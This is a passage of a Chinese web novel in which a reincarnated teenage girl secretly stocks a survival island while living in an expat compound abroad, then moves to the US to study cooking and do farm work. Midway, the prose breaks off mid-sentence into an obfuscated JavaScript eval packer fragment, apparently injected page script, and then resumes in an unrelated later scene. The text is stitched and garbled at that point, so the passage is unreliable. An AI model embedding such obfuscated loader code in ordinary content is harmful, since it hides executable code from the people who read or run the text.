《灾难生存记事簿(超快穿)》 1. 开局一荒岛(一) 小区电路已经断了。使用发电机是要限电的,一家不到一千瓦的样子,取暖器还必须开低功率的。哦,大家都没有空调。 苏茜对这个开局已经算满意了。好歹小区有高墙铁丝网,还有巡逻雇佣兵,他们一人两把小型自动步.木仓,真实战斗力不可考,威慑力是够了。 可惜她还是得出门采购。在母亲离婚、父亲阵亡后,十六岁的苏茜充分利用母国的未成年人保护制度和本地十六岁成年的落差,开始一边领取救济款、抚恤金,一边干着跑腿和倒腾货品的活。 “五只烤鸽子,五个烤鱼卷饼,五份鸡肉,还有柠檬。” “两桶油,这些精油也都要了。” “三袋面粉,对的,这个牌子,请放在我的推车里。” “对,当然是要我们本地的手工。我拿去送亲戚,特别受欢迎。” “……” 苏茜把自己包得严严实实,压低嗓音,一口略慢的当地语言,戴着黑框眼镜和口罩,因为用了色号比较深的粉底,一点看不出是异国异族异教女孩子,更像个循规蹈矩的小妇人,力气还不小,是干家务的好手。 小区门口,她在雇佣兵警惕的目光中摘了眼镜口罩,拎着两个大帆布袋子,拿出通行证,比对后进门。没人会对她外套里的“民用”热.武.器有什么意见。这个时间段出门不带武.器才是脑袋有问题。 回到家,过了一会,她提着绳兜和油瓶,去敲隔壁二楼A户的门。 “简,你要的橄榄油和蔬菜。就是种类不多。”咳,因为给的菜钱不多。给够的话她可以将市面上能找到的都弄来。 “啊,真是太感谢了!”不多,也有四种蔬菜,看起来新鲜大份,且都不是最便宜的品种,加上连玻璃瓶加起来得近两公斤的油,总共差不多七八公斤的分量,还得去一公里外的当地人铺面才能买到,不管是开车还是徒步都不是那么美妙,所以她早上给的那两张钞票还是非常物有所值的。虽说如果在本国超市,她可以买到翻倍的食材,但收入补贴与这里完全不能比——不然谁会跑来这里啊! “没事。下回需要采购打我家电话。” “好的亲爱的。”简说最后那个单词的时候心情应该很不错。 苏茜微笑道别,回自家的底楼。这类底楼套间据说以前是让失宠的老妻或者是保镖佣人住的,采光不佳,不过面积尚可,有独立卫生间,是看在亡父的份上可以免费住到回国——主要是一时没有新租客。她一个“成年”单身女孩,就别想楼上租金不便宜的两室两厅了。 没有手机,没有网络,只有个固定电话。当然苏茜也没空找娱乐方式。 她一脚踏入自己的地盘。 嗯,一座海岛,目前只有光秃秃没啥叶子的稀疏灌木。别说鸟语花香,连虫子都没有,只有偶然经过的海鸟扔下的鸟粪。这里的土地因为过多海风和雨水的关系,撒种子下去什么都不会收获。好处是不缺淡水,因为经常下雨、半数是中到大雨,且冬季温和多余、夏季凉快无蚊。最可以救命的是,岛上礁石区有小海鲜,周围海域有优良蛋白质和海藻海带,只要没有海鲜过敏问题。 不出意外的,山洞庇护所里的火熄灭了,山腰的废弃集装箱因为门缺乏电动切割工具而打不开。倒是洞口的大水缸和一堆木桶塑料盆居然储了一半水,哪怕底部是一层沙也不能掩饰这是过滤后可以直接用来洗衣服的清水。 下回记得再买些盆。 山洞内面积不算大,甚至靠洞口的一小块空地还是苏茜用火烧水浇法掰下一块大石头后得到的,弄下来的那些碎石拌了点水泥加固了她挖出来的水塘——不加固的话很难说一年后还能不能找到。但由于几天没清理里面沉着的东西太多,只能用来第一遍清洗掉洗衣液或是大量污泥,然后拨开简易水渠放掉脏水,重新积攒。 洞里存了半吨矿泉水和用密封收纳箱收纳的一些东西,包括粮油调料压缩饼干、火柴炭煤、汽油柴油、寝具衣物、炊具餐具、药品器械、清洁消毒等等,外加管制器具比如战术刀和木仓。但是种子还有新鲜吃食就没有了。 发电机并非必需品,可以省下。 因为压根称不上慈父的亡父没有商业保险,而不算太多的抚恤金是回去护照发放国初期生存的依仗,她这两年赚到的堪堪只够自己吃喝和购买这些囤积的必需品——谁让自己上一世的存活时间太短,而上上两次生存都不在这个时空,东西要么坏了要么不能拿出来用…… 现实房间里有冰箱,全被生鲜熟食塞满了;苏茜中间吃了顿午饭,好容易借到充电电钻两个小时的使用时间,将电钻都充满电又赶紧回岛上,抓紧将废弃集装箱的门锁切掉,又在山洞边打了好几个洞备用,赶回来充了会电再还回去。 为了维持人设,她还掉工具就准备了牛奶鸡蛋芝麻白糖蜂蜜黄油奶油坚果碎和小麦粉,快手快脚的也用了半个多小时才准备好几大盆面饼,然后一一塞进烤箱。 由于用料昂贵扎实,烤箱门一打开就香得让人流口水。 附近的小朋友闻到味道就来敲门,一个个地拿着好几种货币的硬币和纸钞或者家里的食品来交换。苏茜迅速找钱或是换算,比如拿来一大块不错的奶酪或是一整袋核桃就给四块饼,如果是一小袋快过期的面粉就只给一块。身为一名合格的“倒爷”,她记得绝大多数常见物品的零售价以及“外卖”价,以及知道十公里范围内哪里买、买多少最划算。 一小时后,她泡了两大壶当地特色草本茶,一个加薄荷、一个加玫瑰,而她自己则是一大杯热热的绿茶。 面向主妇和青少年的语言课程开班。 收费低、效果好,还能现场订换货哦! “我没想到你的语言天赋那么好!居然阿语和希语都会,这是走到哪一边都可以!”一名外交人员的妻子订了明天的水果后说道,这位的闪含语系学得七零八落,结果一直被当地人以为是死对头而加以排斥。 “我毕业了,干脆就自学语言。而且都是闪含语系,总比日语好学些。”她没说这是“以前”为了多点工作机会而学习各种小语种的成果,那时网络和智能对练教师极度发达,学起来真的很快,可惜当时为了“学以致用”到处飞结果倒霉地死于空难…… “哦,你会一些日语吗?” “会一些比较通用的,就是敬语用得不行,读写也有问题。”苏茜比划着用日语解释。对方本来就大的眼睛瞪得更大了。 “啊,我丈夫明年可能去亚洲,但不知道具体哪个城市。亲爱的,亚洲语言你会哪些啊?” “……阿语,日语,华语,韩语,都是简单沟通。其他地方讲英语大部分都可以应付。” “能买东西付钱就行!” “我听说还有个广、东、话也很常用?” “是华语的一种方言。华语的方言无法统计有多少种,一般你可以用标准华语或是英语就能搞定。如果你们要去港城,我可以教几句最经常用的广东话。”她老家啊!真羡慕,如果自己能弄到长期签证甚至居留权就好了。可惜现在这个年份似乎不那么方便,她的学历或是财力估计都不行。哦,也许可以留学?那什么,去老家“留学”要怎么办理?哦,不对,留完学搞不好还留不下来!算了,自己现在这张轮廓分明浅色头发的长相要彻底融入老家生活确实有点难度,尤其是现在这个年代,所以还是以后再说吧! 这以后指的,也许是这一辈子完结后的下一段开始。 * * * 刚听说有太阳能蓄电池卖,但是太贵、对环境温湿度要求也高,所以苏茜只能饮恨放弃,谁让岛上不缺雨水就缺阳光呢。换成各类电池,还有卫生用品,这玩意居然不太好买!品种少、价格贵,更不要说夜安、安睡这样的神器。她看了眼旁边有贵得有些离谱的纸尿裤,干脆也买了两大包。女店主或是店主老婆还帮忙用黑色袋子装了塞进购物推车,略让人无语。苏茜又买了些别的,包括三把不同规格的“菜刀”才回小区。 菜刀是她发现的最佳武.器,一次性使用屡试不爽,好用得不得了,还特别能解释得通,所以周边的七家卖菜刀的店她每一家都买过,为了不引起不必要的关注,这是“时隔”大半年后的第二轮采购了,她还特意换过造型包括夏季墨镜和纱面巾。 现在的岛上也处于夏季,这是少数让人欣慰的事,就是雨水不像冬季那样只有一阵,而是下两天晴大半天,平均一个月来两回暴雨。所以苏茜花了一周时间才陆续购买安装好雨布帘子。还有自己住的房子洗衣机有问题,她拆开看应该是电机坏了,但她刚买了件长款羽绒服,还有缝纫机、绒布料、充电电钻和电锯——全藏岛上——导致没钱买洗衣机,所以不得不临时手洗衣服。 也幸好没买。 当巨大的爆炸声响了两声后,所有人都已经抓起应急包冲出家门。 苏茜的应急双背包很大,是她少数买的品牌货,防水防尘耐磨、背带还符合人体工学,能装下可以扛零度的睡袋和隔温毯,以及册子上写明的全套应急物资。现在是旱季,基本不会下雨,不过她有得是装备可以“拿”出来。 火光距离小区很近,大家焦急地打开收音机,还有人用昂贵的卫星电话跟亲人联系。 苏茜没有亲人可言,有也是打听到没有保险金、抚恤金也不一定够律师费而缩回去——吃绝户这一点古今中外都很多,由此可见人性真的是一致的。 唯一打过她电话的居然是外祖母,不过苏茜告知对方自己给孩子们上培训课挣学费、另外还有救济和抚恤金足够自己支付两年私立大学的学费后就没飞过来,但非要她承诺回国后务必联系。所以,满十八岁就回国吧! 但大学就不用了,她想做的是把自己的荒岛建成能住好几年的家园,而不是临时帐篷。她考虑去农场找工作或者买个小农场,然后研究改善荒岛水土的难题。 一路想着,一路跟着大家呆在庇护所等消息。近三个小时的煎熬后,通讯恢复,他们这里没有被波及到。 大家又各回各家。 苏茜觉得还是买个洗衣机吧,走的时候和家具家电都放山洞里,到了新的地方也可以省下一笔钱。想到省钱,她不由叹气。之前用油纸、真空袋、收纳箱和铁皮箱一层层放好的好些品种货币和贵金属,在这个时间,不!能!用!要么压根没有发行,要么号码完全不对,还有金币银砖的样式完全不存在啊不存在。真是,那时怎么不多存点一刀的硬币呢?大概也只有少得可怜的黄金饰品可以打骨折价卖一点钱。 她清理冰箱里的食物,将不能继续放的统统热一下塞进肚子,然后整理房子里的物品,哦,还有骨灰盒,这个得放着,因为大家都知道。 水箱里的水已经过滤好,烧开,灌进热水壶和保温壶。滤芯和净水片这种东西她是当成战略物资来囤的,但凉白开就是当场喝掉……了? 在架子上的东西晃了几下掉到地上后,她下意识将手边的东西全部塞进山洞,重新背起背包冲出家门。 地震了。 但显然房子没有倒塌,通讯也没有完全中断。 很快消息传来,是隔壁国家地震,不是特别严重。 “今天真是艰难的一天——”一名刚回到家就穿了拖鞋抱着孩子跑出来的男子嘀咕着又回去了。 苏茜决定明天去买两箱驱蚊水之类。要不三箱,加上几顶蚊帐和蚊帐架子什么的。哦,这里的工业制品蚊帐还是老家生产的,使用就是不怎么简便。或者她还是搞错年代了,老家现在的制造业还没有到自己曾经熟悉的那种水平? 接下来的日子倒是恢复了平静。 让她跑腿的单子更多了。大家在发现自己的口音在跟当地人讨价还价的时候更为不利后,越发不高兴出门。可是这里的女人是不骑自行车也不开车的,所以她“锻炼身体”的机会更多了,几乎每天得走十几公里。 幸好没有店家拒绝卖运动鞋给女性,更不会抱怨一次买一打运动鞋的顾客,即使店主需要给点折扣。 品牌运动鞋真的是苏茜在服装上最大的支出了。普通衣服尤其是本地长衣服她现在能自己剪裁制作,最多不太好看,但鞋子和羽绒被服这类东西是真没法自制。 山洞里快塞满了,地面都是铺着木板材,还放了个木床加防潮垫。在潮湿和日夜温差大的环境中,这些东西大多数存放不了多少年就得像上几辈子的“垃圾”一样扔海里或是被大风吹进海里,除了塑料制品都塞进泥洞,但她目前没办法。其他不怕水的物资则堆在废弃集装箱里,包括一张不锈钢床——这床比木床还便宜,因此肯定不怎么防锈,可眼下也顾不了那么多。 还有一年自己就成年了,可以回去找活干,顺便清理荒岛,研究怎么弄房子。上上上世和上上世她待的是遥远古代,除了研究些奇奇怪怪的东西弄死自己、避免被周围人搞得惨死之外一事无成,留下的棉衣棉被也都成了纤维垃圾;上一世自己拼命学习工作赚钱,还没来得及搞个房子就没了。除了这个山洞庇护所,她其实一无所有,连赶海的时间也没,都在折腾基本生存…… 苏茜叹了口气,急着回到现实的屋子里。 有人来敲门,在清晨时分。大家期待已久的东西终于运到了,包括国内的包裹信件、采买的物品,以及医药食品。 苏茜没有订货、因为太贵了,但是限量药物和单人帐篷等必需品还是得买的。 上个月就留出来的货款,除了银行卡里的那笔抚恤金,她手边又没有钱了。 行吧,过两天大家又会交培训费了,加上采买的差价,日子还是可以过下去的。 …… 苏茜其实是非.法移民第三代,不过因为她自己出生在美利坚,所以有护照。而小的时候母亲有兴致的时候会说几句外祖母跟着家人徒步穿越了两个国家奔赴黑户之路的“壮举”。 不过……她面无表情地看着不远处一堆的血块和残存的纺织品和金属颗粒,那一堆之前是位十七岁的漂亮姑娘,“有机会”嫁给一个富有的外国男人,不过还是选择了尸骨无存。如果让她去嫁个老头当老婆之一、一年生一个孩子,她也宁愿去死。但是!这姑娘不应该去伤害其他无辜平民,确切的说是几名女学生,她们只不过在目标附近的站点等车罢了,就被同族同教的同性炸死炸伤,而目标人物啥事没有…… 苏茜不想发表议论,绕过兴奋地到处找人采访的记者们,一气跑了三公里,就为了赶紧将一只不算小的西瓜送给邻居。送完货,揉了揉胳膊上的肌肉,回家切开给自己买的那个小很多的瓜。嘿,还真甜!对得起这价格。 一边吃,一边看研究资料。 现在可没有方便快捷的网络,要不是三楼有个家世和成绩都不怎么样的男孩子正在研究大学资料,她完全两眼一抹黑。 “我打算先去看望外祖母,看看那附近有没有工作做,然后再考虑要不要再念个社区学院或者夜校。”反正她有本地的高中毕业证书,那时她申请跳级提前毕业,考试成绩也堪堪合格,主要是交完了全部学费,所以搞定了高中学历,还去领馆做过认证。 “夜校不如社区学院,那些初级培训太粗浅了。不过你的外语那么好,应该可以做很多工作养活自己。”男孩艾纳姆还是好心地建议。他成绩太差,想选个好些的社区学院,然后找机会再去念个比如医科。可他真的担心自己欠了贷款依旧毕不了业。 苏茜对他的“伟大志向”很是无语,不过也没有多说什么,只是表示了感谢。 嗯,芝加哥剔除,纽约太贵,小镇的话封闭又买不到东西,天使之城晚上的犯罪率跟前面两座著名的有过之而无不如……她结合地图册跟之前自己的印象——不少来源于上一世看的影视作品——选了跟外祖母住的镇子比较近的得城,机械之城不算闭塞,人少又安全。另外,那里的社区学院里有个吸引她的专业:烹饪。 * * * “哦,是的,我在那里高中毕业,会好几种语言,父亲也留下了八万块……谢谢您的帮助!” 打发走三拨各色人等,苏茜很庆幸去掉飞机票后仅剩的八万块是个非常合适的数字,不用交税,不会被恶意的“亲朋好友”拿走骗走抢走,也不会引来过于善良的好人让她左右为难。 最重要的是,她硬等到满证件上的十八周岁后才辗转三趟飞机回国,避免了监护权银行账户考驾照买房子等等一系列问题。她现在没有房子没有家族没有朋友没有同学,而且“觉醒”前的自己会阿语西语和一点希语口语,英语却不怎么样,亚洲语言更是一窍不通。她不得不买了一堆书每天除了跑腿就是看书才把英语拉回“正常”水平。 “奶奶我回来了。周六上午能到你家。” “哦哦!上帝保佑,你平平安安地真是太好了!” 达亚娜快七十了,三个子女只剩下一个女儿不知道在哪里,几年才从外国寄一张明信片。孙辈倒是有好几个,但其他人只有在失业没地方去的时候才跑来她这里白吃白住一段时间,但一般不超过三个月就被小镇的无聊和她少得可怜的收入吓跑了。只有女儿的女儿在乱糟糟的外国挺到成年才回来看望她——还不要求吃住或者要钱,因为对方说要去看学校并且住在学校附近,还跟她打听可以打零工的农场。 “农场?你确定?”十八岁的女孩子怎么可能乐意干农活? “我穿运动鞋有五尺八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二件事是买了辆比较新的二手车,现货,当天取车。 第三件事找房子和旅馆,顺便买条厚实绒裤,配上长羽绒,不会冻死。 第四件才是去学校注册春季入学。 “……当然!我们烹饪专业欢迎女士们的加入。”事实上浪费学费和时间在大学里学烹饪专业的女生并没有想象的多,男士们普遍认为家庭主妇都是自带煮饭技能,而只要有啤酒和肉类,一顿晚饭就过得去了,何况还有罐头这种神器不是。至于职业厨师,还是以男士居多。 “谢谢。我先报名烹饪专业,和,意语专业,我可以选择旁听吗?还是需要报名交学费?” 注册教师愣了会。厨师和意语,有联系吗?哦,法国大餐实际上来源于意大利?但总觉得这理由太牵强。“你可以一起报名,但是上课时间会有冲突。”很多学生会想充分利用两年的时间多学点东西,但成功拿到文凭的不多,同时拿两个副学士学位的更少。 “好,那我报名。”七万八千多,足够她交六个专业的学费了。但除了学费还有保险费、生活费等等,更多的还有囤货采购的支出。所以交完钱,苏茜就马不停蹄去跟中介看房子,定下一间有独立卫生间和洗衣机取暖器,“甚至”还有床架和窗帘的顶楼房间——其实属于家徒四壁类型,连冰箱都没有,也所以房租还不到两百块。 目测这房间的夏季很“火热”。不过她的岛上夏季最热的夜晚也需要盖条薄毯垫个褥子。恩,没有厨房和微波炉、烤箱的问题也好解决:生炉子。 至于冰箱,她会自己买个冰柜的。反正房间虽然屋顶有个倾斜角度,但是面积不小,近三十平米,还有个颇大的露台,房东女士说平时其他房客和她本人很少上来,所以她可以安置非永久建筑比如遮阳伞之类。 “我很满意,今天就可以签约吗?我明天就住进来。” “当然好!”早收一天房租,好事啊! “我可以种一些盆栽型蔬菜吗?比如草莓、薄荷之类的?” “哦,可以,但是我没有现成的花盆。” “好的,这个我会自己弄。” “……” “……” 得城距离小镇近一百公里。 苏茜大早上退了房,买袋面包,自己泡一壶速溶咖啡——现在似乎还没有挂耳咖啡——按地图配合指南针开车上路。 她憎恨没有手机导航软件的时代。 两小时后她才找到外祖母住的房子。 一栋不到百平米的平房,门口小花坛和信箱。花坛还是有些绿色的,沿街的窗拉着印花厚窗帘,建筑本身和门的款式不算老旧。在小镇属于温饱线上方,也没有多余的房间对外出租赚生活费。 门铃响了两下,门就开了。一个衣着齐整、头发花白的老太太开了门。 “达亚娜?” “苏茜!”老太太居然只穿了衬衣开衫、单层棉袜和布长裙,但是和零下的天气非常不符。 “哦,我们快进去,你穿得太少了。”苏茜还背着背包就将老人推进门。 客厅起居室有桌子,应该是兼餐厅、还连着半开放式厨房,面积不算小,还连着三扇窗,不过暖气效果还算可以。没有壁炉。 苏茜关上门,放下背包,脱了长羽绒服。里头绒裤和高领毛衣,加上微卷但没有发型可言的及肩头发,一点也不青春时髦。 “你长得跟你妈妈挺像。” “我们头发的颜色不一样,不过眼睛的颜色和形状差不多。”苏茜拉开背包拉链。这个超大背包之前是应急包,现在仍然是不论装多少东西都撑得住,质量杠杠的。 “你之前过得好像不错。”身高体型面色乃至牙齿,看不出大问题,连雀斑晒斑都不明显,显得一张脸蛋儿勉强称得上好看。呃,小东西没化妆,所以一眼可以看出皮肤状态很不错。 “是的,只是偶然有爆炸,去年还有一次地震,但我住的小区还是很安全的。”她拿出来带给唯一真心关心她的亲人“土特产”,是一大瓶复方玫瑰精油和一条色彩艳丽的手工织毯。不轻不重的礼物,正好合适。 达亚娜用红茶包泡了一壶茶,旁边是奶罐和糖罐,还有铁盒装黄油小饼干、刚开封的那种。苏茜加了牛奶没加糖,她有种吃下午茶的错觉,这也许跟她偏英式的口音有关? 可现在快十一点了。 聊了会儿天,吃掉一杯奶茶跟七八片饼干,苏茜表示,“达亚娜,我给你做一顿中东风味的午餐吧。”远东估计不可能,因为这家里应该没有大米和酱油。 “哦,亲爱的,”达亚娜显然非常吃惊,“我们中午去餐厅吃饭吧,那里的食物更受年轻人欢迎。而且我怎么能让你做饭!” “没事,我不喜欢太美式的食物。当然,英式的更糟糕。” 最后,两个人在一点的时候吃到了刚出炉的馕饼大盘鸡,不,土豆洋葱西红柿炖鸡块,加点橄榄油翻炒下,少许红酒和水,上面再盖一层奶油鸡蛋面饼当锅盖,焖烧到面饼也盖不住那份香味。 达亚娜差点眼珠子都瞪出来,不过最后出锅的时候她吃得跟苏茜一样多,明显撑得慌。 “天哪,苏茜,我现在相信你已经具备大厨水准了。” “因为你很少吃这种风格的食物,觉得新奇。但如果每天都吃相同的,半个月后你绝对会对汉堡可乐馋得不得了。不过我这个星期已经受够了吃汉堡和三明治。” “哈哈哈——”达亚娜将咖啡粉给苏茜,然后发现滤纸上个月就用光了。老太太其实平时也是用的速溶咖啡…… 苏茜无所谓地找出来小锅子,洗干净加水和三勺咖啡粉放在炉子上烧,水开后又稍等一会,然后关火沉淀,慢慢倒进茶壶、剩下绝大部分的咖啡渣,然后在茶壶里加入两块方糖,继续沉淀片刻,倒进茶杯兼咖啡杯。 土耳其咖啡? 好像有哪里不对,不过无所谓。苏茜吹了吹,轻轻抿一口咖啡液,还行。 达亚娜也跟着慢慢啜饮。确实哪里有些不对劲,不过,总还是咖啡。 “慢慢喝,不要晃,可以留下咖啡渣。” “……” 两个人一顿饭算是荤素碳水俱全、吃到酒又喝咖啡,成本加起来也没有超过十五块,比去餐厅新奇且便宜。 又坐了会儿,达亚娜提到三月份会有两个农场会需要零工,到时候会介绍苏茜过去干活,另外还将两个农场的电话给了苏茜。 不到三点,苏茜告辞开车回城,让达亚娜休息。她不住这里、不占便宜,但是大家保持良好的亲戚关系。 路过一家店的时候,她下车,认真比对了下花园小板房的性价比,最后遗憾地买了个折叠梯子跟户外充电器,还有十个塑料花盆。一是那板房见鬼地要四位数的美刀,二是她的车子塞不进去。 到周末,她的账户只剩下六万出头。 是时候“重操旧业”了! 2. 开局一荒岛(二) “咬住牙,舌尖定在上排牙齿的牙龈,发气声……对,体会一下和英语细微的区别。” “哦,这个没办法,练一个星期,每天一个半小时,总会练出来的。” “嘿,当地人都不像你这样夸张的礼仪,但是如果你说了女生用语,嗯,大家会怀疑你是女扮男装——不,不是男同,男同也是用男生用语的,只有女生或者男扮女装的坏蛋甚至罪犯,或者女扮男装的正常人。” “……” 作为一个语言“天才”,苏茜每天装作很轻松、实则天天背单词语法例句到半夜,硬是维持着意语第一名和国际语言专业方向超级培训师的角色。至于烹饪课程,因为一手刀工和多变的风格,让没有被网络视频大量冲刷过的师生目瞪口呆,她甚至用鸡胸肉的七种截然不同的菜肴和搭配的七种酱料,“创造性”地提前结束了第一个学期的学习,召唤出优等成绩。 下个学期涉及到食品供应安全管理,这玩意她不擅长,到时候肯定要耗费精力的,加上期间的农忙零工,估计意语成绩会受影响——跟赚钱相比,成绩可以先放一放。 匆匆打发掉付费的学生们,她跑出教室,开车赶往农场。明天一早就要开工,她现在就得过去,睡一觉后干活。 “苏茜——右边那一排——” “明白!” 九名员工,换人不换机器,连农场主十一岁的儿子都来帮忙打下手。今年播种可能有所提前,所以要将需要处理的土地都整好,然后才等天气预报选择最适宜的时机。这几天苏茜都是学校里请假来干活的,在农场生活和工作的家庭里的孩子也有不少会请假,本地学校都习惯了。 到了播种季又是一轮忙活。这个时候借机找化肥供应商代表以农场价多买几袋各类肥料很简单,顺道还可以在自己荒岛上不到三英亩的贫瘠土地上“练习”如何开农机。 而在棉花收获季前的两个周末,苏茜还去附近的屠宰场免费帮忙,并以做实验为由将大量猪下水“垃圾”拉走不少抵工钱。 唯一让人郁闷的是,这些打零工劳动挣的辛苦钱全部投进采购农资里去了,她还是没钱买发电机,或者说发电机还没有太大的采购必要,所以给学生们做课外培训挣的一点零用都花在房租吃用,还得留出一笔税款。 在报税这一点上,苏茜-奥尔森女士是非常遵守规定的,还会为了三百块的零工现金收入给税官打咨询电话,结果搞半天全部收入加起来还没到交税起征点,弄得对方无语了整整半分钟。 荒岛上雨水“充沛”成灾,但也不是一点规律也没有。在买了不少监测小仪器、“借用”了一堆检测工具后,苏茜自己用水泥石头弄了十几小块水田和两公里多的排水泄洪道,跑去农业专业弄来实验级粪肥添加剂,还拍胸脯承诺通过外祖母小镇那边的人脉做私人实验日记,实际上就是在荒岛上用猪粪做有机肥。 效果还不错。 她甚至“热情”地成为学生和牧场主之间的纽带,可惜添加剂本身不是很成功,使用说明必须她亲自解读亲自操作,不然牧场工人绝对搞不定。因此得到的有机粪肥数量少成本高,只有她一个人“笑纳”。 农业专业的学生实在有些不好意思,想分给她一些试验经费却被她拒绝了,理由是她在自己“借来”的地块上种出来不少有机蔬菜,一个夏季为她和外祖母省了百来块的菜钱。 事实上收获的生菜和西红柿太多,她还跟镇上居民交换了不少食物和木头之类。 “成本太高了,也卖不出去。不然我们可以拓展一门生意。” “我觉得挺好,最起码家里现在味道好一些了,我们能自己吃到新鲜蔬菜,还可以跟人交换着吃。” 附近最“小”的养猪场老板夫妇,因为需要自己干活,即使用了一堆法子解决猪粪和屠宰问题,可还是时不时一身异味。这是他们自己一点点建起来的地方,起初就是失业后找个活路买下一块水土不太好的小地块,然后为了全家吃到肉。现在自己年纪渐长、孩子们也都去了城市不肯回来闻臭味,工人工资逐年看涨,产品价格却很难提高。他们有卖掉牧场的念头,但大公司根本看不上还不到十英亩的“迷你”养猪场,加之建筑物纯粹就是工人宿舍等级,压根卖不上价。 “亲爱的,这就是我们的养老金,哪怕我们两个只养十头猪,至少可以吃饱肚子。”六十岁的牧场主对妻子说道。一个工作好几年的工人辞职了,其他地方给的工资一年多足足四千——他们给不起。 “如果你们不介意我还有课要上的话,我可以经常来干活。你们只要给零工的费用。”苏茜偶然听到他们在讨论牧场售价问题,过来自荐。她跑来打一小时才五块的重体力零工,纯粹是看中免费肥料和成本价猪肉。 “苏茜,好姑娘,”力气大、不怕脏、工资低,只需要主家给口热水、连速溶咖啡都是自带的任劳任怨的零工,根本找不到第二个!“我们给你六块五时薪,工作时间随便你,哪怕是半夜,你告诉我时间我就给你算工资!” * * * 暑假里,苏茜去当了农业专业两个实验小组的助手,外加一个农场和一个牧场的零工。干活干得飞起,赚的勉强抵得上车子后面拉着的小型拖挂露营车价格加油费,工作开车间隙她就在里面休息,可比没有空调的农场养猪场舒服多了,就是耗油量略大。但考虑到由于没有老家生产的竞品,这里的空调贵、安装费更贵,换住处还要付一大笔工钱;相比之下,午后和夜晚在露营车里睡觉总体还是划算的。 “苏茜,我怎么感觉你的刀挥起来不太像在切菜?”像在砍劫匪的样子。还有,谁会用菜刀耍刀花来着?! “哦哦,这个肉啊。我刚好想起来,就是上周,我在学习屠宰,对,就是拿了这么长的刀分割猪肉然后立刻冻起来。有俩家伙开了车,没有遮住车牌但是把脸蒙住了,不知道来干嘛,结果我就拿了刀出去,这么挥了下,他们就开车跑了。” “……” “我还把车牌号告诉警局了,让他们记录在案,省得下回这俩蠢蛋把车牌号遮起来。”苏茜没说镇上警局把这两个人的个头发色车辆跟隔壁镇的另一个抢劫案联系起来,在同僚那里卖了个好。 “……” 这个时代的女性虽然彪悍,但真的也没有流行冲着劫匪挥一柄20英寸长的杀猪刀——四十年后也没有。 烹饪专业之所以塞进了艺术学院,首先就得好看。 苏茜的蓑衣黄瓜和橄榄油烤综合蔬菜一开门就获得压倒性优势。一圈圈卷起来整整齐齐、颜色漂亮,强势快速的刀工优势让其他有基础和没基础的同学目瞪口呆。可惜这里不流行炒菜,不然她能表演勾火颠锅。 而轮到小组“节目”,苏茜现场在窗下一小片空地上用石板烤肉。石头、石板和木头都是现成的,直接“从车上”拿来,她甚至“表演”了一把放大镜生火——如果不是太夸张,她可以用燧石铁片棉花絮表演。瘦猪肉切得非常薄,海盐和一大把融合香料在石臼里捣碎,生蚝肉切碎煮熟加酱油调成糊,然后用自制蚝油和香料粉腌制。石板已经烧烫,生菜翻面烤半熟,再煎腌制过的新鲜猪肉片。做法不稀罕,胜在食材好。 从搭灶生火到将肉片裹进生菜里吃,因为有三个组员共同帮忙,苏茜总共四十分钟就完成余兴节目野外烤肉。哦,边吃还边唱了一段水平不怎么样的意大利语歌剧。歌词发音没问题,可惜大家都听不出来她努力了一段时间才背熟歌词。 石板猪肉还挺好吃的。 吃完,再赶一篇意语小文章——再次诅咒没有网络和人工智能的世界——苏茜扛了一堆书和食物回住处顶楼。 食物放小冰柜,一部分书带进岛。 荒岛上时不时会刮大风,东南和西北风、小中大到暴雨都有,但不下雪。大风会将枝叶石头扔得到处都是,不过将将树连根拔起的情况是没有的,因为现在岛上没树。 所以她还是可以考虑造个小房子安置发电机的,只是选址朝向需要认真选择。另外,太阳能面板可经不起超过五厘米的石头从空中砸下,会漏电,多砸几下就会坏掉,这是她一直犹豫要不要买太阳能电池组的原因。考虑到使用寿命以及居住时长,汽油小发电机应该是个更好的选择。 话说,现在应该有便携小发电机吧?即使没有自带USD接口,可起码能买到稳压器插头?另外,便宜板房在没有老家供应商的情况下应该是买不到便宜货,那么花园工具房呢?太空舱和集装箱小屋呢?! 苏茜在得城里团团转,愣是没有找到低于五千块的东西。 她印象里这个年代物价没这么高吧?看看房租和时薪,还有一百块自己挖了带走的一大捆小树苗,再看看让人心悸的“工业品”,她考虑改投机电学院! “……你想想,本来开在一样的平原农场里就让人视觉疲劳,然后,哇,突然出现一座座太空舱!你是认真的吗?外星人进攻了?” 学生们嘻嘻哈哈笑成一堆。 “……我就是想,过几年攒了钱买个小小的牧场,养些牲畜、种一点自己吃的有机蔬菜,有个小发电机可以让我在外面自己用电动工具组装一个奇形怪状的活动小房子,有风扇,有壁炉,做好了还可以用车子拖着去森林里露营,比搭帐篷舒服安全多了!我还可以拍棕熊的照片!啊,当然,得带把木仓,还有汽油桶什么的。” “……厨房必须有,钓到的无污染鱼难道还要放回去?!说到没有污染,我还是觉得作为一个负责任的地主,咳,我现在还不是,应该用太阳能和风能结合的发电装置,特别是用来照顾牲畜,储存粮食和处理有机肥料,光一个太阳能不太够用,刮风的时候也有风能,但是这里就涉及电的储存,我知道这是化学问题不是物流问题。” 学院间活动的时候,苏茜就跑过去机电学院问他们会不会“造”东西,问到的情况让人无语。同时她的“美好生活”设想也让机电学生们无语。 打算弄农场的人不应该研究农机吗?哦,这位对本州会使用的大部分农机都很了解,包括品牌、零售价和供应商销售经理价,以及开着新农机路过哪个加油站加柴油最便宜等等的“常识”统统知道。话说,一个地中海式烹饪艺术的学生知道那么多连农牧场主都不知道的东西干嘛?! 苏茜遗憾地放弃了在机电学院找个朋友一起研究造机器的设想。 “……我本来觉得机电学院那边的几个专业都应该是富有创造力的,可现在想想,大家来拿文凭,大部分为了在工厂里找个工资高一点的工作,其他人是想去常青藤。所以我突然就没了兴致,你知道的,各种兴致。”烹饪专业女生不多,苏茜这样身材长相发型包括化妆综合起来在学校里能排中等的更不多。拼命念书和打工没有男朋友的女生更少。 “行了,我知道机电学院那里渣男不少。对了,我的良心建议是,一定要注意避.孕,不行第二天就吃药,免得男人根本不想结婚只想玩。”红发女孩贝蒂很为自己天生的红头发得意,前后交了几个不错的男友,就是不知道怎么回事一个比一个渣,前男友甚至拒绝结婚的同时还提议他们可以生孩子了,让她空窗了半年都对恋爱提不起什么兴趣。“真不明白现在这个社会怎么了。” 